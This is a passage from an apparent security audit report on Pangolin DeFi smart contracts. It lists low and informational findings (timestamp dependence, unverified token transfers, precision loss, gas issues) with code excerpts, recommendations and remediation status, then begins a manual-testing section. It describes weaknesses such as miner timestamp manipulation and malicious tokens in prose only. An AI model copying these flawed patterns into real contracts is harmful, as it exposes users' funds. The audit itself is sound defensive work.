288     require(readyToDistribute, 'LiquidityPoolManager::
        distributeTokens: Previous returns not allocated. Call
        calculateReturns()');

```

```

289     readyToDistribute = false;
290     address stakeContract;
291     uint rewardTokens;
292     for (uint i = 0; i < distribution.length; i++) {
293         if (i < avaxPairs.length()) {
294             stakeContract = stakes[avaxPairs.at(i)];
295         } else {
296             stakeContract = stakes[pngPairs.at(i - avaxPairs.
                length())];
297         }
298         rewardTokens = distribution[i];
299         if (rewardTokens > 0) {
300             require(IPNG(png).transfer(stakeContract, rewardTokens
                ), 'LiquidityPoolManager::distributeTokens:
                Transfer failed');
301             StakingRewards(stakeContract).notifyRewardAmount(
                rewardTokens);
302         }
303     }
304     unallocatedPng = 0;
305 }

```

### LiquidityPoolManagerV2.sol

Listing 13: LiquidityPoolManagerV2.sol (Lines 378,386,387)

```

372 function distributeTokens() public nonReentrant {
373     require(readyToDistribute, 'LiquidityPoolManager::
        distributeTokens: Previous returns not allocated. Call
        calculateReturns()');
374     readyToDistribute = false;
375     address stakeContract;
376     uint rewardTokens;
377     for (uint i = 0; i < distribution.length; i++) {
378         if (i < avaxPairs.length()) {
379             stakeContract = stakes[avaxPairs.at(i)];
380         } else {
381             stakeContract = stakes[pngPairs.at(i - avaxPairs.
                length())];
382         }
383         rewardTokens = distribution[i];
384         if (rewardTokens > 0) {
385             require(IPNG(png).transfer(stakeContract, rewardTokens

```

```

        ), 'LiquidityPoolManager::distributeTokens:
        Transfer failed');
386     StakingRewards(stakeContract).notifyRewardAmount(
        rewardTokens);
387     }
388 }
389     unallocatedPng = 0;
390 }

```

### PangolinVoteCalculator.sol

Listing 14: PangolinVoteCalculator.sol (Lines 39,59)

```

38 function getVotesFromFarming(address voter, address[] calldata
    farms) external view returns (uint votes) {
39     for (uint i; i<farms.length; i++) {
40         IPangolinPair pair = IPangolinPair(farms[i]);
41         IStakingRewards staking = IStakingRewards(liquidityManager
            .stakes(farms[i]));
42
43         // Handle pairs that are no longer whitelisted
44         if (address(staking) == address(0)) continue;
45
46         uint pair_total_PNG = png.balanceOf(farms[i]);
47         uint pair_total_PGL = pair.totalSupply(); // Could
            initially be 0 in rare situations
48
49         uint PGL_hodling = pair.balanceOf(voter);
50         uint PGL_staking = staking.balanceOf(voter);
51
52         uint pending_PNG = staking.earned(voter);
53
54         votes += ((PGL_hodling + PGL_staking) * pair_total_PNG) /
            pair_total_PGL + pending_PNG;
55     }
56 }
57
58 function getVotesFromStaking(address voter, address[] calldata
    stakes) external view returns (uint votes) {
59     for (uint i; i<stakes.length; i++) {
60         IStakingRewards staking = IStakingRewards(stakes[i]);
61
62         uint staked_PNG = staking.stakingToken() == address(png) ?

```

```

        staking.balanceOf(voter) : uint(0);
63
64     uint pending_PNG = staking.rewardsToken() == address(png)
        ? staking.earned(voter) : uint(0);
65
66     votes += (staked_PNG + pending_PNG);
67 }
68 }

```

#### RewarderComplex.sol

Listing 15: RewarderComplex.sol (Lines 154,155)

```

152 function massUpdatePools(uint256[] calldata pids) external {
153     uint256 len = pids.length;
154     for (uint256 i = 0; i < len; ++i) {
155         updatePool(pids[i]);
156     }
157 }

```

#### Risk Level:

**Likelihood - 2**

**Impact - 2**

#### Recommendation:

If possible, use pull over push strategy for external calls.

#### Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.11 (HAL-11) USE OF BLOCK.TIMESTAMP - LOW

### Description:

During a manual review, we noticed the use of `block.timestamp`. The contract developers should be aware that this does not mean current time. Miners can influence the value of `block.timestamp` to perform Maximal Extractable Value (MEV) attacks. The use of `block.timestamp` creates a risk that miners could perform time manipulation to influence price oracles. Miners can modify the timestamp by up to 900 seconds.

### Code Location:

StakingRewards.sol

Listing 16: StakingRewards.sol (Lines 54)

```
53 function lastTimeRewardApplicable() public view returns (uint256)
    {
54     return Math.min(block.timestamp, periodFinish);
55 }
```

Listing 17: StakingRewards.sol (Lines 123,126,138,139)

```
122 function notifyRewardAmount(uint256 reward) external onlyOwner
    updateReward(address(0)) {
123     if (block.timestamp >= periodFinish) {
124         rewardRate = reward.div(rewardsDuration);
125     } else {
126         uint256 remaining = periodFinish.sub(block.timestamp);
127         uint256 leftover = remaining.mul(rewardRate);
128         rewardRate = reward.add(leftover).div(rewardsDuration);
129     }
130
131     // Ensure the provided reward amount is not more than the
        balance in the contract.
132     // This keeps the reward rate in the right range, preventing
        overflows due to
```



```

133     // very high values of rewardRate in the earned and
        rewardsPerToken functions;
134     // Reward + leftover must be less than 2^256 / 10^18 to avoid
        overflow.
135     uint balance = rewardsToken.balanceOf(address(this));
136     require(rewardRate <= balance.div(rewardsDuration), "Provided
        reward too high");
137
138     lastUpdateTime = block.timestamp;
139     periodFinish = block.timestamp.add(rewardsDuration);
140     emit RewardAdded(reward);
141 }

```

#### Listing 18: StakingRewards.sol (Lines 152)

```

150 function setRewardsDuration(uint256 _rewardsDuration) external
    onlyOwner {
151     require(
152         block.timestamp > periodFinish,
153         "Previous rewards period must be complete before changing
            the duration for the new period"
154     );
155     require(_rewardsDuration > 0, "Reward duration can't be zero")
        ;
156     rewardsDuration = _rewardsDuration;
157     emit RewardsDurationUpdated(rewardsDuration);
158 }

```

#### TreasuryVester.sol

#### Listing 19: TreasuryVester.sol (Lines 91,102)

```

88 function claim() external nonReentrant returns (uint) {
89     require(vestingEnabled, 'TreasuryVester::claim: vesting not
        enabled');
90     require(msg.sender == recipient, 'TreasuryVester::claim: only
        recipient can claim');
91     require(block.timestamp >= lastUpdate + vestingCliff, '
        TreasuryVester::claim: not time yet');
92
93     // If we've finished a halving period, reduce the amount
94     if (nextSlash == 0) {

```

```

95     nextSlash = halvingPeriod - 1;
96     vestingAmount = vestingAmount / 2;
97 } else {
98     nextSlash = nextSlash.sub(1);
99 }
100
101 // Update the timelock
102 lastUpdate = block.timestamp;
103
104 // Distribute the tokens
105 IERC20(png).safeTransfer(recipient, vestingAmount);
106 emit TokensVested(vestingAmount, recipient);
107
108 return vestingAmount;
109 }

```

### GovernorAlpha.sol

#### Listing 20: GovernorAlpha.sol

```

152 uint startTime = add256(block.timestamp, votingDelay());
153 uint endTime = add256(block.timestamp, add256(votingPeriod(),
        votingDelay()));

```

#### Listing 21: GovernorAlpha.sol (Lines 183)

```

180 function queue(uint proposalId) public {
181     require(state(proposalId) == ProposalState.Succeeded, "
        GovernorAlpha::queue: proposal can only be queued if it is
        succeeded");
182     Proposal storage proposal = proposals[proposalId];
183     uint eta = add256(block.timestamp, timelock.delay());
184     for (uint i = 0; i < proposal.targets.length; i++) {
185         _queueOrRevert(proposal.targets[i], proposal.values[i],
            proposal.signatures[i], proposal.calldatas[i], eta);
186     }
187     proposal.eta = eta;
188     emit ProposalQueued(proposalId, eta);
189 }

```

Listing 22: GovernorAlpha.sol (Lines 235,237,245)

```

230 function state(uint proposalId) public view returns (ProposalState
    ) {
231     require(proposalCount >= proposalId && proposalId > 0, "
        GovernorAlpha::state: invalid proposal id");
232     Proposal storage proposal = proposals[proposalId];
233     if (proposal.canceled) {
234         return ProposalState.Canceled;
235     } else if (block.timestamp <= proposal.startTime) {
236         return ProposalState.Pending;
237     } else if (block.timestamp <= proposal.endTime) {
238         return ProposalState.Active;
239     } else if (proposal.forVotes <= proposal.againstVotes) {
240         return ProposalState.Deferred;
241     } else if (proposal.eta == 0) {
242         return ProposalState.Succeeded;
243     } else if (proposal.executed) {
244         return ProposalState.Executed;
245     } else if (block.timestamp >= add256(proposal.eta, timelock.
        GRACE_PERIOD())) {
246         return ProposalState.Expired;
247     } else {
248         return ProposalState.Queued;
249     }
250 }

```

## MiniChefV2.sol

Listing 23: MiniChefV2.sol

```

1 MiniChefV2.sol:144: lastRewardTime: block.timestamp.to64(),
2 MiniChefV2.sol:224: if (block.timestamp > pool.lastRewardTime &&
    lpSupply != 0) {
3 MiniChefV2.sol:225: uint256 time = block.timestamp <=
    rewardsExpiration
4 MiniChefV2.sol:226: ? block.timestamp.sub(pool.lastRewardTime)
5 MiniChefV2.sol:256: if (block.timestamp > pool.lastRewardTime) {
6 MiniChefV2.sol:259: uint256 time = block.timestamp <=
    rewardsExpiration
7 MiniChefV2.sol:260: ? block.timestamp.sub(pool.lastRewardTime)
8 MiniChefV2.sol:265: pool.lastRewardTime = block.timestamp.to64();
9 MiniChefV2.sol:411: if (block.timestamp >= rewardsExpiration) {
10 MiniChefV2.sol:414: rewardsExpiration = block.timestamp.add(

```

```
    duration);  
11 MiniChefV2.sol:417: uint256 remainingTime = rewardsExpiration.sub(  
    block.timestamp);  
12 MiniChefV2.sol:420: uint256 newSushiPerSecond = remainingRewards.  
    add(funding) / (newRewardsExpiration.sub(block.timestamp));  
13 MiniChefV2.sol:439: uint256 remainingTime = rewardsExpiration.sub(  
    block.timestamp);  
14 MiniChefV2.sol:441: rewardsExpiration = block.timestamp.add(  
    duration);  
15 MiniChefV2.sol:442: sushiPerSecond = remainingRewards / (  
    rewardsExpiration.sub(block.timestamp));
```

#### Risk Level:

**Likelihood - 3**

**Impact - 1**

#### Recommendation:

Use `block.number` instead of `block.timestamp` or `now` to reduce the risk of Maximal Extractable Value (MEV) attacks. Check if the timescale of the project occurs across years, days and months rather than seconds. If possible, it is recommended to use Oracles.

#### Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.12 (HAL-12) INCOMPATIBILITY WITH INFLATIONARY TOKENS – LOW

### Description:

In multiple functions OpenZeppelin's `safeTransferFrom` and `safeTransfer` is used to handle the token transfers. These functions call `transferFrom` and `transfer` internally in the token contract to actually execute the transfer. However, since the actual amount transferred ie. the delta of previous (before transfer) and current (after transfer) balance is not verified, a malicious user may list a custom ERC20 token with the `transferFrom` or `transfer` function modified in such a way that it does not transfer any tokens at all and the attacker is still going to have their liquidity pool tokens minted anyway.

### Example:

#### StakingRewards.sol

Listing 24: StakingRewards.sol (Lines 85,93,101,109)

```

77 function stakeWithPermit(uint256 amount, uint deadline, uint8 v,
    bytes32 r, bytes32 s) external nonReentrant updateReward(msg.
    sender) {
78     require(amount > 0, "Cannot stake 0");
79     _totalSupply = _totalSupply.add(amount);
80     _balances[msg.sender] = _balances[msg.sender].add(amount);
81
82     // permit
83     IPangolinERC20(address(stakingToken)).permit(msg.sender,
        address(this), amount, deadline, v, r, s);
84
85     stakingToken.safeTransferFrom(msg.sender, address(this),
        amount);
86     emit Staked(msg.sender, amount);
87 }
88
89 function stake(uint256 amount) external nonReentrant updateReward(
    msg.sender) {

```

```

90     require(amount > 0, "Cannot stake 0");
91     _totalSupply = _totalSupply.add(amount);
92     _balances[msg.sender] = _balances[msg.sender].add(amount);
93     stakingToken.safeTransferFrom(msg.sender, address(this),
        amount);
94     emit Staked(msg.sender, amount);
95 }
96
97 function withdraw(uint256 amount) public nonReentrant updateReward
    (msg.sender) {
98     require(amount > 0, "Cannot withdraw 0");
99     _totalSupply = _totalSupply.sub(amount);
100    _balances[msg.sender] = _balances[msg.sender].sub(amount);
101    stakingToken.safeTransfer(msg.sender, amount);
102    emit Withdrawn(msg.sender, amount);
103 }
104
105 function getReward() public nonReentrant updateReward(msg.sender)
    {
106    uint256 reward = rewards[msg.sender];
107    if (reward > 0) {
108        rewards[msg.sender] = 0;
109        rewardsToken.safeTransfer(msg.sender, reward);
110        emit RewardPaid(msg.sender, reward);
111    }
112 }

```

Listing 25: StakingRewards.sol (Lines 146)

```

144 function recoverERC20(address tokenAddress, uint256 tokenAmount)
    external onlyOwner nonReentrant {
145     require(tokenAddress != address(stakingToken), "Cannot
        withdraw the staking token");
146     IERC20(tokenAddress).safeTransfer(owner(), tokenAmount);
147     emit Recovered(tokenAddress, tokenAmount);
148 }

```

Risk Level:

Likelihood - 2

Impact - 2

## Recommendation:

Whenever tokens are transferred, the delta of the previous (before transfer) and current (after transfer) token balance should be verified to match the user-declared token amount.

## Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.13 (HAL-13) DIVIDE BEFORE MULTIPLY - LOW

### Description:

Solidity integer division might truncate. As a result, performing multiplication before division might reduce precision.

### Code Location:

StakingRewards.sol

Listing 26: StakingRewards.sol (Lines 124,127)

```
122 function notifyRewardAmount(uint256 reward) external onlyOwner
    updateReward(address(0)) {
123     if (block.timestamp >= periodFinish) {
124         rewardRate = reward.div(rewardsDuration);
125     } else {
126         uint256 remaining = periodFinish.sub(block.timestamp);
127         uint256 leftover = remaining.mul(rewardRate);
128         rewardRate = reward.add(leftover).div(rewardsDuration);
129     }
130
131     // Ensure the provided reward amount is not more than the
        balance in the contract.
132     // This keeps the reward rate in the right range, preventing
        overflows due to
133     // very high values of rewardRate in the earned and
        rewardsPerToken functions;
134     // Reward + leftover must be less than 2^256 / 10^18 to avoid
        overflow.
135     uint balance = rewardsToken.balanceOf(address(this));
136     require(rewardRate <= balance.div(rewardsDuration), "Provided
        reward too high");
137
138     lastUpdateTime = block.timestamp;
139     periodFinish = block.timestamp.add(rewardsDuration);
140     emit RewardAdded(reward);
141 }
```



## LiquidityPoolManagerV2.sol

Listing 27: LiquidityPoolManagerV2.sol (Lines 340,344)

```

338 uint transferred = 0;
339 if (splitPools) {
340     uint avaxAllocatedPng = unallocatedPng.mul(avaxSplit).div(100)
        ;
341     uint pngAllocatedPng = unallocatedPng.sub(avaxAllocatedPng);
342
343     for (uint i = 0; i < avaxPairs.length(); i++) {
344         uint pairTokens = distribution[i].mul(avaxAllocatedPng).
            div(avaxLiquidity);
345         distribution[i] = pairTokens;
346         transferred = transferred.add(pairTokens);
347     }

```

## MiniChefV2.sol

Listing 28: MiniChefV2.sol (Lines 228,229,231)

```

219 function pendingSushi(uint256 _pid, address _user) external view
    returns (uint256 pending) {
220     PoolInfo memory pool = poolInfo[_pid];
221     UserInfo storage user = userInfo[_pid][_user];
222     uint256 accSushiPerShare = pool.accSushiPerShare;
223     uint256 lpSupply = lpToken[_pid].balanceOf(address(this));
224     if (block.timestamp > pool.lastRewardTime && lpSupply != 0) {
225         uint256 time = block.timestamp <= rewardsExpiration
            ? block.timestamp.sub(pool.lastRewardTime)
226           : rewardsExpiration.sub(pool.lastRewardTime);
227         uint256 sushiReward = time.mul(sushiPerSecond).mul(pool.
            allocPoint) / totalAllocPoint;
228         accSushiPerShare = accSushiPerShare.add(sushiReward.mul(
            ACC_SUSHI_PRECISION) / lpSupply);
229     }
230     pending = int256(user.amount.mul(accSushiPerShare) /
        ACC_SUSHI_PRECISION).sub(user.rewardDebt).toUInt256();
231 }
232 }

```

Listing 29: MiniChefV2.sol (Lines 262,263)

```

254 function updatePool(uint256 pid) public returns (PoolInfo memory
    pool) {
255     pool = poolInfo[pid];
256     if (block.timestamp > pool.lastRewardTime) {
257         uint256 lpSupply = lpToken[pid].balanceOf(address(this));
258         if (lpSupply > 0) {
259             uint256 time = block.timestamp <= rewardsExpiration
260                 ? block.timestamp.sub(pool.lastRewardTime)
261                 : rewardsExpiration.sub(pool.lastRewardTime);
262             uint256 sushiReward = time.mul(sushiPerSecond).mul(pool.
                allocPoint) / totalAllocPoint;
263             pool.accSushiPerShare = pool.accSushiPerShare.add((
                sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply).to128
                ());
264         }
265         pool.lastRewardTime = block.timestamp.to64();
266         poolInfo[pid] = pool;
267         emit LogUpdatePool(pid, pool.lastRewardTime, lpSupply, pool.
            accSushiPerShare);
268     }
269 }

```

## RewarderComplex.sol

Listing 30: RewarderComplex.sol (Lines 144,145,147)

```

137 function pendingToken(uint256 _pid, address _user) public view
    returns (uint256 pending) {
138     PoolInfo memory pool = poolInfo[_pid];
139     UserInfo storage user = userInfo[_pid][_user];
140     uint256 accSushiPerShare = pool.accSushiPerShare;
141     uint256 lpSupply = MiniChefV2(MASTERCHEF_V2).lpToken(_pid).
        balanceOf(MASTERCHEF_V2);
142     if (block.number > pool.lastRewardBlock && lpSupply != 0) {
143         uint256 blocks = block.number.sub(pool.lastRewardBlock);
144         uint256 sushiReward = blocks.mul(tokenPerBlock).mul(pool.
            allocPoint) / totalAllocPoint;
145         accSushiPerShare = accSushiPerShare.add(sushiReward.mul(
            ACC_TOKEN_PRECISION) / lpSupply);
146     }
147     pending = (user.amount.mul(accSushiPerShare) /
        ACC_TOKEN_PRECISION).sub(user.rewardDebt);

```

```
148 }
```

Listing 31: RewarderComplex.sol (Lines 170,171)

```
162 function updatePool(uint256 pid) public returns (PoolInfo memory
    pool) {
163     pool = poolInfo[pid];
164     require(pool.lastRewardBlock != 0, "Pool does not exist");
165     if (block.number > pool.lastRewardBlock) {
166         uint256 lpSupply = MiniChefV2(MASTERCHEF_V2).lpToken(pid).
            balanceOf(MASTERCHEF_V2);
167
168         if (lpSupply > 0) {
169             uint256 blocks = block.number.sub(pool.lastRewardBlock
                );
170             uint256 sushiReward = blocks.mul(tokenPerBlock).mul(
                pool.allocPoint) / totalAllocPoint;
171             pool.accSushiPerShare = pool.accSushiPerShare.add((
                sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply).
                to128());
172         }
173         pool.lastRewardBlock = block.number.to64();
174         poolInfo[pid] = pool;
175         emit LogUpdatePool(pid, pool.lastRewardBlock, lpSupply,
            pool.accSushiPerShare);
176     }
177 }
```

Risk Level:

Likelihood - 2

Impact - 2

Recommendation:

Consider ordering multiplication before division.

Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.14 (HAL-14) UNUSED VARIABLE/EXPRESSION – INFORMATIONAL

### Description:

In the contracts `LiquidityPoolManager.sol` and `LiquidityPoolManagerV2.sol` an unused expression has been detected. The mathematical operation is performed inside a loop but nothing is done with its final result.

On the other hand in the contract `RewarderSimple.sol` the function `pendingTokens()` contains a parameter `user` which then is not used anywhere in the function.

### Code Location:

`LiquidityPoolManager.sol`

Listing 32: `LiquidityPoolManager.sol` (Lines 274,278)

```

245 function calculateReturns() public {
246     require(!readyToDistribute, 'LiquidityPoolManager::
        calculateReturns: Previous returns not distributed. Call
        distributeTokens()');
247     require(unallocatedPng > 0, 'LiquidityPoolManager::
        calculateReturns: No PNG to allocate. Call vestAllocation()
        .');
248     if (pngPairs.length() > 0) {
249         require(!(avaxPngPair == address(0)), '
            LiquidityPoolManager::calculateReturns: Avax/PNG Pair
            not set');
250     }
251
252     // Calculate total liquidity
253     distribution = new uint[](numPools);
254     uint totalLiquidity = 0;
255
256     // Add liquidity from AVAX pairs
257     for (uint i = 0; i < avaxPairs.length(); i++) {

```

```

258     uint pairLiquidity = getAvaxLiquidity(avaxPairs.at(i));
259     distribution[i] = pairLiquidity;
260     totalLiquidity = SafeMath.add(totalLiquidity,
        pairLiquidity);
261 }
262
263 // Add liquidity from PNG pairs
264 if (pngPairs.length() > 0) {
265     uint conversionRatio = getAvaxPngRatio();
266     for (uint i = 0; i < pngPairs.length(); i++) {
267         uint pairLiquidity = getPngLiquidity(pngPairs.at(i),
            conversionRatio);
268         distribution[i + avaxPairs.length()] = pairLiquidity;
269         totalLiquidity = SafeMath.add(totalLiquidity,
            pairLiquidity);
270     }
271 }
272
273 // Calculate tokens for each pool
274 uint transferred = 0;
275 for (uint i = 0; i < distribution.length; i++) {
276     uint pairTokens = distribution[i].mul(unallocatedPng).div(
        totalLiquidity);
277     distribution[i] = pairTokens;
278     transferred = transferred + pairTokens;
279 }
280 readyToDistribute = true;
281 }

```

### LiquidityPoolManagerV2.sol

#### Listing 33: LiquidityPoolManagerV2.sol (Lines 338,346,354,363)

```

304 function calculateReturns() public {
305     require(!readyToDistribute, 'LiquidityPoolManager::
        calculateReturns: Previous returns not distributed. Call
        distributeTokens()');
306     require(unallocatedPng > 0, 'LiquidityPoolManager::
        calculateReturns: No PNG to allocate. Call vestAllocation()
        .');
307     if (pngPairs.length() > 0) {
308         require(!(avaxPngPair == address(0)), '
            LiquidityPoolManager::calculateReturns: Avax/PNG Pair

```

```
        not set');
309     }
310
311     // Calculate total liquidity
312     distribution = new uint[](numPools);
313     uint avaxLiquidity = 0;
314     uint pngLiquidity = 0;
315
316     // Add liquidity from AVAX pairs
317     for (uint i = 0; i < avaxPairs.length(); i++) {
318         address pair = avaxPairs.at(i);
319         uint pairLiquidity = getAvaxLiquidity(pair);
320         uint weightedLiquidity = pairLiquidity.mul(weights[pair]);
321         distribution[i] = weightedLiquidity;
322         avaxLiquidity = SafeMath.add(avaxLiquidity,
            weightedLiquidity);
323     }
324
325     // Add liquidity from PNG pairs
326     if (pngPairs.length() > 0) {
327         uint conversionRatio = getAvaxPngRatio();
328         for (uint i = 0; i < pngPairs.length(); i++) {
329             address pair = pngPairs.at(i);
330             uint pairLiquidity = getPngLiquidity(pair,
                conversionRatio);
331             uint weightedLiquidity = pairLiquidity.mul(weights[
                pair]);
332             distribution[i + avaxPairs.length()] =
                weightedLiquidity;
333             pngLiquidity = SafeMath.add(pngLiquidity,
                weightedLiquidity);
334         }
335     }
336
337     // Calculate tokens for each pool
338     uint transferred = 0;
339     if (splitPools) {
340         uint avaxAllocatedPng = unallocatedPng.mul(avaxSplit).div
            (100);
341         uint pngAllocatedPng = unallocatedPng.sub(avaxAllocatedPng
            );
342
343         for (uint i = 0; i < avaxPairs.length(); i++) {
344             uint pairTokens = distribution[i].mul(avaxAllocatedPng
```

```

        ).div(avaxLiquidity);
345     distribution[i] = pairTokens;
346     transferred = transferred.add(pairTokens);
347 }
348
349     if (pngPairs.length() > 0) {
350         uint conversionRatio = getAvaxPngRatio();
351         for (uint i = 0; i < pngPairs.length(); i++) {
352             uint pairTokens = distribution[i + avaxPairs.
                length()].mul(pngAllocatedPng).div(pngLiquidity
                );
353             distribution[i + avaxPairs.length()] = pairTokens;
354             transferred = transferred.add(pairTokens);
355         }
356     }
357     else {
358         uint totalLiquidity = avaxLiquidity.add(pngLiquidity);
359
360         for (uint i = 0; i < distribution.length; i++) {
361             uint pairTokens = distribution[i].mul(unallocatedPng).
                div(totalLiquidity);
362             distribution[i] = pairTokens;
363             transferred = transferred.add(pairTokens);
364         }
365     }
366     readyToDistribute = true;
367 }

```

### RewarderSimple.sol

Listing 34: RewarderSimple.sol

```

34 function pendingTokens(uint256 pid, address user, uint256
    sushiAmount) override external view returns (IERC20[] memory
    rewardTokens, uint256[] memory rewardAmounts) {
35     IERC20[] memory _rewardTokens = new IERC20[](1);
36     _rewardTokens[0] = (rewardToken);
37     uint256[] memory _rewardAmounts = new uint256[](1);
38     _rewardAmounts[0] = sushiAmount.mul(rewardMultiplier) /
        REWARD_TOKEN_DIVISOR;
39     return (_rewardTokens, _rewardAmounts);
40 }

```



Risk Level:

Likelihood - 1

Impact - 1

Recommendation:

Consider removing the `transferred` variable and the `transferred = transferred + pairTokens;` expression. Consider also removing the parameter `user` from the `pendingTokens()` function in `RewarderSimple.sol` contract.

Remediation Plan:

**ACKNOWLEDGED:** `Pangolin team` acknowledges this issue.

## 3.15 (HAL-15) POSSIBLE MISUSE OF PUBLIC FUNCTIONS – INFORMATIONAL

### Description:

In the contracts `GovernorAlpha`, `PNG` and `MiniChefV2.sol` there are functions marked as public but they are never directly called within the same contract or in any of its descendants:

#### `GovernorAlpha.sol`

- `propose(address[],uint256[],string[],bytes[],string)` (`GovernorAlpha.sol#139-178`)
- `queue(uint256)` (`GovernorAlpha.sol#180-189`)
- `execute(uint256)` (`GovernorAlpha.sol#196-204`)
- `cancel(uint256)` (`GovernorAlpha.sol#206-219`)
- `getActions(uint256)` (`GovernorAlpha.sol#221-224`)
- `getReceipt(uint256,address)` (`GovernorAlpha.sol#226-228`)
- `castVote(uint256,bool)` (`GovernorAlpha.sol#252-254`)
- `castVoteBySig(uint256,bool,uint8,bytes32,bytes32)` (`GovernorAlpha.sol#256-263`)
- `__acceptAdmin()` (`GovernorAlpha.sol#289-292`)
- `__abdicate()` (`GovernorAlpha.sol#294-297`)
- `__queueSetTimelockPendingAdmin(address,uint256)` (`GovernorAlpha.sol#299-302`)
- `__executeSetTimelockPendingAdmin(address,uint256)` (`GovernorAlpha.sol#304-307`)

#### `PNG.sol`

- `delegate(address)` (`PNG.sol#184-186`)
- `delegateBySig()` (`PNG.sol#197-206`)
- `getPriorVotes(address,uint256)` (`PNG.sol#225-257`)

#### `MiniChefV2.sol`

- `poolLength()` (`MiniChefV2.sol#99-101`)
- `setMigrator(IMigratorChef)` (`MiniChefV2.sol#188-192`)
- `disableMigrator()` (`MiniChefV2.sol#196-199`)
- `migrate(uint256)` (`MiniChefV2.sol#203-213`)
- `deposit(uint256,uint256,address)` (`MiniChefV2.sol#275-292`)
- `withdraw(uint256,uint256,address)` (`MiniChefV2.sol#298-315`)
- `harvest(uint256,address)` (`MiniChefV2.sol#320-340`)
- `withdrawAndHarvest(uint256,uint256,address)` (`MiniChefV2.sol#346-368`)

- `emergencyWithdraw(uint256,address)` (MiniChefV2.sol#373-382)

#### RewarderComplex.sol

- `poolLength()` (RewarderComplex.sol#102-104)
- `add(uint256,uint256)` (RewarderComplex.sol#110-122)
- `set(uint256,uint256)` (RewarderComplex.sol#127-131)

#### Risk Level:

**Likelihood - 1**

**Impact - 1**

#### Recommendation:

If the function is not intended to be called internally or by descendants, it is better to mark all these functions as `external` to save gas.

#### Remediation Plan:

**ACKNOWLEDGED:** `Pangolin team` acknowledges this issue.

## 3.16 (HAL-16) USE OF INLINE ASSEMBLY - INFORMATIONAL

### Description:

Inline assembly is a way to access the Ethereum Virtual Machine at a low level. This discards several important safety features in Solidity.

### Code Location:

GovernorAlpha.sol

Listing 35: GovernorAlpha.sol (Lines 322)

```
320 function getChainId() internal pure returns (uint) {
321     uint chainId;
322     assembly { chainId := chainid() }
323     return chainId;
324 }
```

PNG.sol

Listing 36: PNG.sol (Lines 334)

```
332 function getChainId() internal pure returns (uint) {
333     uint256 chainId;
334     assembly { chainId := chainid() }
335     return chainId;
336 }
```

### Risk Level:

Likelihood - 1

Impact - 2

### Recommendation:

When possible, do not use inline assembly because it allows access to the EVM (Ethereum Virtual Machine) at a low level. An attacker could bypass many important safety features of Solidity. On the other hand, for these concrete cases, `chainid` is available in native Solidity `0.8.0`.

```
1 //SPDX-License-Identifier: MIT
2 pragma solidity 0.8.0;
3
4 contract test {
5
6     function getChainId() external view returns (uint) {
7         return block.chainid;
8     }
9 }
10
11
```

TEST AT 0XD91...39138 (MEMORY)

getChainId

0: uint256: 1

### Reference:

<https://docs.soliditylang.org/en/v0.8.0/units-and-global-variables.html>

### Remediation Plan:

**ACKNOWLEDGED:** Pangolin team acknowledges this issue.

## 3.17 (HAL-17) TAUTOLOGY EXPRESSIONS – INFORMATIONAL

### Description:

In the contract `PNG.sol` a tautology expression has been detected. Such expressions are of no use since they always evaluate true/false regardless of the context they are used in.

### Code Location:

`PNG.sol`

Listing 37: `PNG.sol` (Lines 169)

```
164 function transferFrom(address src, address dst, uint rawAmount)
    external returns (bool) {
165     address spender = msg.sender;
166     uint96 spenderAllowance = allowances[src][spender];
167     uint96 amount = safe96(rawAmount, "Png::approve: amount
        exceeds 96 bits");
168
169     if (spender != src && spenderAllowance != uint96(-1)) {
170         uint96 newAllowance = sub96(spenderAllowance, amount, "Png
            ::transferFrom: transfer amount exceeds spender
            allowance");
171         allowances[src][spender] = newAllowance;
172
173         emit Approval(src, spender, newAllowance);
174     }
175
176     _transferTokens(src, dst, amount);
177     return true;
178 }
```

Risk Level:

Likelihood - 1

Impact - 1

Recommendation:

```
spenderAllowance != uint96(-1)
```

`spenderAllowance` is an uint variable which means that its range will be  $\langle 0, 2^{256} - 1 \rangle$ , hence it will never be equal to `-1`, so `spenderAllowance != uint96(-1)` will always be true making this check unnecessary.

Remediation Plan:

ACKNOWLEDGED: `Pangolin team` acknowledges this issue.



# MANUAL TESTING



## 4.1 INTRODUCTION

Halborn performed different manual tests in all the contracts trying to find logic flaws and vulnerabilities that were not detected by the automatic tools.

During the manual testing multiple questions were considered while evaluating each of the defined functions:

- Can it be re-called changing admin/roles and permissions?
- Can somehow an external controlled contract call again the function during the execution of it? (Re-entrancy)
- Can a function be called twice in the same block causing issues?
- Do we control sensitive or vulnerable parameters?
- Does the function check for boundaries on the parameters and internal values? Bigger than zero or equal? Argument count, array sizes, integer truncation. . .
- Are the function parameters and variables controlled by external contracts?
- Can extended contracts cause issues on the extender contract?

## 4.2 AIRDROP CONTRACT

The contract `Airdrop` contains the logic to administer the airdrop of PNG tokens to UNI and SUSHI holder. Our testing in this contract focused in double checking that the functions had implemented the correct access control, as all the functions of the contract were public/external. The following functions can only be called by the owner of the contract:

- `setRemainderDestination(address remainderDestination_)`
- `setowner(address owner_)`
- `allowClaiming()`
- `endClaiming()`
- `whitelistAddress(address addr, uint96 pngOut)`
- `whitelistAddresses(address[] memory addrs, uint96[] memory pngOuts)`

The only function that can be called by anyone is the `claim()` function as expected. This function is secured as can only be called during the claiming period, requires that the user has 1 UNI or SUSHI token and follows the check-effects-interactions pattern resetting the `withdrawAmount[msg.sender]` to 0 right before transferring the PNG tokens to the user.

## 4.3 COMMUNITYTREASURY CONTRACT

The contract `CommunityTreasury` is very simple, containing just 2 functions:

- `transfer()` which can only be called by the owner of the contract.
- `balance()` which is a getter function to check the balance of the contract.

## 4.4 GOVERNORALPHA CONTRACT

The contract `GovernorAlpha` allows PNG token holders to create, cancel, queue, execute, approve and reject different proposals. Our testing in this contract focused mainly in preventing flash loans and making sure that the users were not able to vote multiple times.

When a user votes for a proposal the voting power considered by the smart contract is the voting power that all the users had in the block where the proposal was created:

Listing 38: `GovernorAlpha.sol` - function `castVote()`

```
1 uint96 votes = png.getPriorVotes(voter, proposal.startBlock);
```

Moreover, the function `getPriorVotes()` contains the following require statement:

Listing 39: `PNG.sol` (Lines 226)

```
225 function getPriorVotes(address account, uint blockNumber) public
    view returns (uint96) {
226     require(blockNumber < block.number, "Png::getPriorVotes:
        not yet determined");
```

